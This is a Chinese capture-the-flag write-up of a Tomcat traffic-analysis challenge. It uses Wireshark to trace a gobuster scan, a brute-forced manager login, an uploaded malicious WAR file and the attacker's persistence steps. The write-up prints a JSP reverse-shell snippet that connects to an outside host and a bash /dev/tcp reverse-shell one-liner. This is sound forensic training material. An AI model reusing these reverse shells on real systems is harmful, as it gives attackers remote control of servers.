[玄机]流量特征分析-常见攻击事件 tomcat
题目网址【玄机】:https://xj.edisec.net/
Tomcat是一个开源的Java Servlet容器,它实现了Java Servlet和JavaServer Pages (JSP) 技术,提供了一个运行这些应用程序的Web服务器环境。Tomcat由Apache软件基金会的Jakarta项目开发,是最受欢迎的Java EE Web应用服务器之一。
问一、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}
题目思路:
根据标题命名得知分析的是tomcat流量包,老样子,我们可以直接查看分组计数器进行分析。通过对统计数据的分析,我们可以得到http数据大致的访问信息,再通过查询语句过滤流量包得到成功访问的流量包
方法:
1、左键点击“统计”->“HTTP”->“分组计数器”查看分析HTTP流量数据

可以看到大部分都是GET请求的数据包,只有1个POST请求包(习惯性看了一下这个POST请求包,果然有收获,大致看一眼请求包内容盲猜上传了木马文件—文件里面有上传的文件,这个留着后面有用),先看一下GET请求的数据包
2.http.request.method==GET 查看GET请求的数据包

大致翻看了一下,流量里面一个就两个请求的地址10.0.0.115和14.0.0.120,而10.0.0.115又和受害主机一个地址段,很合理的理由怀疑14.0.0.120(当然,如果仔细翻看一下流量,可以看出应该是黑客使用工具对目录进行了扫描,实际情况中遇到了也可以向甲方确认一下地址)
flag{14.0.0.120}
问二、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}
题目思路:
一开始没好好读题,还以为出题者想要让我们通过流量包中的经纬度坐标来确定城市位置(wireshark安装第三方 GeoIP 数据库可以实现,有兴趣的大家可以实验一下),又看了看题目发现提示了通过IP查找,那就直接上工具了,分享两个网页工具:
站长之家:IP所在地批量查询 - 站长工具
IP属地查询:ip查询 查ip 网站ip查询 同ip网站查询 iP反查域名 iP查域名 同ip域名
方法:
直接使用网页工具查询,得到了广州市

flag{guangzhou}
问三、哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}
题目思路:
该题目中受害者主机只有一个端口开放了网页服务,所以还是可以直接通过GET请求包内容就可以查看了
方法:
http.request.method==GET 查看GET请求的数据包,随意一个请求包右键“追踪流”->“HTTP流”

可以看到请求的端口号是8080
flag{8080}
问四、经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}
题目思路:
前面分析过,流量像是受到了目录扫描,应该使用的是目录扫描工具,这时候就可以看一下User-Agent,大多数没有魔改过的扫描器User-Agent都是带有特征的
方法:
http.request.method==GET 查看GET请求的数据包,依据是选一个请求包右键“追踪流”->“HTTP流”(但是需要注意选择源地址为14.0.0.120地址的)

可以看到使用的工具是gobuster(感觉这个现在用的比较少了,感兴趣的可以自行了解一下)
flag{gobuster}
问五、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}
题目思路:
原本是想直接搜索例如:“user”、“pass”这类的关键字的,但是搜索查看了好一阵没有什么结果,在查看username字段时发现了一个账号密码但是发现不是这个账号密码(这好像是个报错,其中tomcat-users.html文件中是存储tomcat账户密码的文件),翻找了一下报文,发现后面的请求包中多了一个Authorization字段,解码后分析得到正确的账号密码
Authorization字段用于在客户端请求中包含访问令牌或认证凭据,以便服务器能够验证请求者的身份。当客户端需要访问受保护的资源时,服务器可能会首先发送一个401 Unauthorized响应,要求客户端提供有效的认证信息。然后客户端会在随后的请求中包含Authorization头,以获取对资源的访问权限。
方法:
1.http contains "username" 查看http协议中包含username的流量包

2.点击最后一个流量包(一般后面的都是成功访问的,从后往前找比较方便,也可以比较流量包的大小来查找),右键“追踪流”->“HTTP流”,向下翻找,也可直接搜索Authorization,同样翻找到最后,发现有成功回显200的响应包

3.复制Basic后面的值进行base64解密,得到账号密码

flag{admin-tomcat}
问六、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}
题目思路:
这时候就用到前面说的POST请求包了,记得前面说了应该是上传了一个文件,现在去搜索看一下
方法:
1. http.request.method == POST 查看POST请求的数据包
2.右键“追踪流”->“HTTP流”,可以查看到上传文件的文件名

flag{JXQOZY.war}
问七、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息
题目思路:
本来想着直接搜索一下上传的文件名,看一下干了什么操作,但是通过搜索并没有发现什么有用的信息,这时候就想着既然流量包里面有压缩文件的源码,不如直接下载下来,看看黑客到底上传了什么文件,后面拿到文件后也是成功找到了黑客入侵后执行的命令
方法:
1.左键“文件”->“导出对象”->“HTTP”,翻找一下,找到图中这三个文件就是有关于黑客上传木马的文件,把这个三个文件都都出来(因为前两个重名了,我就分别重命名为了111和222)

2.分别使用编辑器打开,发现最后一个是空的,那就不用看了,第二个一眼就看出来是html文件,可以将后缀改为html进行查看

打开后可以看到这个就是默认的界面,里面还存在着文件上传的接口

3.查看111文件,就是一个压缩包的源码,把多余的都删除掉,只留下源码部分再更改文件后缀为zip(本人电脑不支持解压war用zip替代一下,一样可以用)



4.这时我们就可以看到黑客上传的文件内容了,里面一共两个文件,主要的内容在rzpmxxmm.jsp当中,我们来解析一下代码

if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {ShellPath = new String("/bin/sh");
} else {ShellPath = new String("cmd.exe");
}Socket socket = new Socket( "10.0.0.142", 80 );Process process = Runtime.getRuntime().exec( ShellPath );( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();} catch( Exception e ) {}
这行代码获取当前操作系统的名称,转换为小写,然后检查是否不包含子字符串"windows";如果不是Windows操作系统,则将变量
ShellPath设置为"/bin/sh",这是linux系统上的shell路径;如果操作系统是Windows,则将ShellPath设置为"cmd.exe",这是Windows系统上的命令行解释器;创建一个新的Socket对象,尝试连接到IP地址10.0.0.142上的端口80(HTTP默认端口)。
5.到这里我们已经得到了想要的信息了,黑客创建了一个Socket,端口使用的是80;我们使用命令进行搜索,ip.src == 10.0.0.112 && tcp.port == 80 过滤源地址为10.0.0.112和端口为80的流量包

6.右键“追踪流”->“HTTP流”,查看流量包内容,可以看到黑客执行的命令,根据题目提示我们了解到是进行权限维持的命令,而最后一条命令就是反弹一个新的shell

flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}
后续
此时就已经结束了,但是好奇心驱使下,还是查看了一下后面黑客执行的操作,使用命令:
ip.src == 10.0.0.112 && tcp.port == 443 过滤源地址为10.0.0.112和端口为443的流量包

我们通过回显的信息可以看到其实黑客在登录后就直接就使用exit命令退出了,并没有继续进行下一步操作

后续本人会陆续在公众号进行更新,希望大家点点关注!谢谢大佬们!

相关文章:
[玄机]流量特征分析-常见攻击事件 tomcat
题目网址【玄机】:https://xj.edisec.net/ Tomcat是一个开源的Java Servlet容器,它实现了Java Servlet和JavaServer Pages (JSP) 技术,提供了一个运行这些应用程序的Web服务器环境。Tomcat由Apache软件基金会的Jakarta项目开发,是…...
【TOOLS】Project 2 Maven Central
发布自己的项目到maven中央仓库 Maven Central Account 访问:https://central.sonatype.com/,点击右上角,根据提示注册账号 构建User token ,用于访问中央仓库的API: 点击右上角,查看账户点击Generate Us…...
【Opencv】模糊
消除噪声 用该像素周围的平均值代替该像素值 4个函数 blur():最经典的 import os import cv2 img cv2.imread(os.path.join(.,dog.jpg)) k_size 7 #窗口大小,数字越大,模糊越强 img_blur cv2.blur(img,(k_size,k_size)) #窗口是正方形ÿ…...
函数式编程范式
文章目录 函数式编程范式不可变性(Immutable)纯函数(Pure Functions)函数作为一等公民(First-Class Functions)高阶函数(Higher-Order Functions函数组合(Function Composition&…...
特征缩放的秘籍:sklearn中的数据标准化技术
特征缩放的秘籍:sklearn中的数据标准化技术 在机器学习中,特征缩放(Feature Scaling)是数据预处理的重要步骤,它确保了不同量纲和范围的特征在模型训练中具有相同的重要性。Scikit-learn(简称sklearn&…...
hdfs文件系统
简述什么是HDFS,以及HDFS作用 ? HDFS在Hadoop中的作用是为海量的数据提供了存储,能提供高吞吐量的数据访问,HDFS有高容错性的 特点,并且设计用来部署在低廉的硬件上;而且它提供高吞吐量来访问应用程序的数…...
基于STM32设计的个人健康检测仪(华为云IOT)(191)
基于STM32设计的个人健康检测仪(华为云IOT)(191) 文章目录 一、设计需求1.1 设计需求总结1.2 设计思路【1】整体设计思路【2】整体构架【3】ESP8266模块配置【4】上位机开发思路【5】供电方式1.3 项目开发背景【1】选题的意义【2】可行性分析【3】参考文献【4】课题研究的意义【…...
面试:CUDA Tiling 和 CPU tiling 技术详解
目录 一、CUDA Tiling 和 CPU Tiling 技术概述 (一)技术原理 (二)应用场景 (三)优势和劣势 二、Tiling 技术在深度学习中的应用 三、Tiling 技术的缺点 一、CUDA Tiling 和 CPU Tiling 技术概述 Til…...
SQL语句中,`TRUNCATE` 和 `DELETE`的区别
TRUNCATE 和 DELETE 是 SQL 中用于删除表中数据的两种命令,它们有一些关键区别: 1. 基本区别 DELETE: 删除表中的数据,但不会删除表结构和索引。可以使用 WHERE 子句来删除特定的记录,也可以不使用 WHERE 子句来删除所有记录。会…...
【Git】.gitignore全局配置与忽略匹配规则详解
设置全局配置 1)在C:/Users/用户名/目录下创建.gitignore文件,在里面添加忽略规则。 如何创建 .gitignore 文件? 新建一个.txt文件,重命名(包括后缀.txt)为 .gitignore 即可。 2)将.gitignore设…...
基于 YOLO V10 Fine-Tuning 训练自定义的目标检测模型
一、YOLO V10 在本专栏的前面几篇文章中,我们使用 ultralytics 公司开源发布的 YOLO-V8 模型,分别 Fine-Tuning 实验了 目标检测、关键点检测、分类 任务,实验后发现效果都非常的不错,但它已经不是最强的了。最新的 YOLO-V10 已经…...
Java学习2
1 如果要使用Long类型的变量,在数据值的后面加上L为后缀(可以是大写也可以是小写),例如 Long i9999999L; 2 如果要使用float类型的变量,在数据值的后面加上F为后缀(可以是大写也可以是小写)&a…...
CSS、less、 Sass、
1 CSS 1.1 css中.a.b 与 .a .b(中间有空格)的区别 区别: .a.b是获取同时含有a和b的元素.a .b(中间有空格),是获取.a元素下的所有.b元素<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name=&quo…...
北京大学:利用好不确定性,8B小模型也能超越GPT-4
大模型有一个显著的特点,那就是不确定性——对于特定输入,相同的LLM在不同解码配置下可能生成显著不同的输出。 比如问一问chatgpt“今天开心吗?”,可以得到两种不同的回答。 常用的解码策略有两种,一个是贪婪解码&am…...
哪些云服务商已通过了等保2.0合规性评估?
已通过等保2.0合规性评估的云服务商 根据最新的搜索结果,以下是已通过等保2.0合规性评估的云服务商: 阿里云:阿里云的“电子政务云平台系统”是全国首个通过等保2.0国标测评的云平台,显示了其在云计算领域的安全合规能力。华为云…...
PHP在线加密系统源码
历时半年,它再一次迎来更新[飘过] 刚刚发的那个有点问题,重新修了一下 本次更新内容有点多 1. 更新加密算法(这应该是最后一次更新加密算法了,以后主要更新都在框架功能上面了) 2. 适配php56-php74 3. 取消批量加…...
OpenCV学习笔记 比较基于RANSAC、最小二乘算法的拟合
一、RANSAC算法 https://skydance.blog.csdn.net/article/details/134887458https://skydance.blog.csdn.net/article/details/134887458 二、最小二乘算法 https://skydance.blog.csdn.net/article/details/115413982...
前端JS特效第53集:带声音的烟花模拟绽放特效插件
带声音的烟花模拟绽放特效插件,先来看看效果: 部分核心的代码如下(全部代码在文章末尾): <!DOCTYPE html> <html lang"en" > <head><meta charset"UTF-8"><title>Firework Simulator v2&…...
好展位,抢先订!2025浙江(玉环)机械展
2025第18届浙江(玉环)机械工业展览会 时间地点:2025年4月25-28日 玉环会展中心 近年来,随着玉环工业经济的蓬勃发展,汽摩配件、阀门水暖五金产业、铜加工、眼镜配件、金属加工生产等行业,如同贪婪的巨人&…...
Java面试八股之Spring如何解决循环依赖
Spring如何解决循环依赖 在Spring框架中,循环依赖问题通常发生在两个或多个Bean相互依赖的情况下。Spring为了解决循环依赖问题,采用了不同的策略,这些策略主要取决于Bean的作用域以及依赖注入的方式。下面是一些关键点: 单例Be…...
华为云AI开发平台ModelArts
华为云ModelArts:重塑AI开发流程的“智能引擎”与“创新加速器”! 在人工智能浪潮席卷全球的2025年,企业拥抱AI的意愿空前高涨,但技术门槛高、流程复杂、资源投入巨大的现实,却让许多创新构想止步于实验室。数据科学家…...
业务系统对接大模型的基础方案:架构设计与关键步骤
业务系统对接大模型:架构设计与关键步骤 在当今数字化转型的浪潮中,大语言模型(LLM)已成为企业提升业务效率和创新能力的关键技术之一。将大模型集成到业务系统中,不仅可以优化用户体验,还能为业务决策提供…...
大数据学习栈记——Neo4j的安装与使用
本文介绍图数据库Neofj的安装与使用,操作系统:Ubuntu24.04,Neofj版本:2025.04.0。 Apt安装 Neofj可以进行官网安装:Neo4j Deployment Center - Graph Database & Analytics 我这里安装是添加软件源的方法 最新版…...
Unity3D中Gfx.WaitForPresent优化方案
前言 在Unity中,Gfx.WaitForPresent占用CPU过高通常表示主线程在等待GPU完成渲染(即CPU被阻塞),这表明存在GPU瓶颈或垂直同步/帧率设置问题。以下是系统的优化方案: 对惹,这里有一个游戏开发交流小组&…...
MODBUS TCP转CANopen 技术赋能高效协同作业
在现代工业自动化领域,MODBUS TCP和CANopen两种通讯协议因其稳定性和高效性被广泛应用于各种设备和系统中。而随着科技的不断进步,这两种通讯协议也正在被逐步融合,形成了一种新型的通讯方式——开疆智能MODBUS TCP转CANopen网关KJ-TCPC-CANP…...
相机Camera日志分析之三十一:高通Camx HAL十种流程基础分析关键字汇总(后续持续更新中)
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了:有对最普通的场景进行各个日志注释讲解,但相机场景太多,日志差异也巨大。后面将展示各种场景下的日志。 通过notepad++打开场景下的日志,通过下列分类关键字搜索,即可清晰的分析不同场景的相机运行流程差异…...
HarmonyOS运动开发:如何用mpchart绘制运动配速图表
##鸿蒙核心技术##运动开发##Sensor Service Kit(传感器服务)# 前言 在运动类应用中,运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据,如配速、距离、卡路里消耗等,用户可以更清晰…...
【Go语言基础【13】】函数、闭包、方法
文章目录 零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理 二、函数类型与高阶函数1. 函数类型定义2. 高阶函数(函数作为参数、返回值) 三、匿名函数与闭包1. 匿名函数(Lambda函…...
Go 语言并发编程基础:无缓冲与有缓冲通道
在上一章节中,我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道,它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好࿰…...
LangChain知识库管理后端接口:数据库操作详解—— 构建本地知识库系统的基础《二》
这段 Python 代码是一个完整的 知识库数据库操作模块,用于对本地知识库系统中的知识库进行增删改查(CRUD)操作。它基于 SQLAlchemy ORM 框架 和一个自定义的装饰器 with_session 实现数据库会话管理。 📘 一、整体功能概述 该模块…...
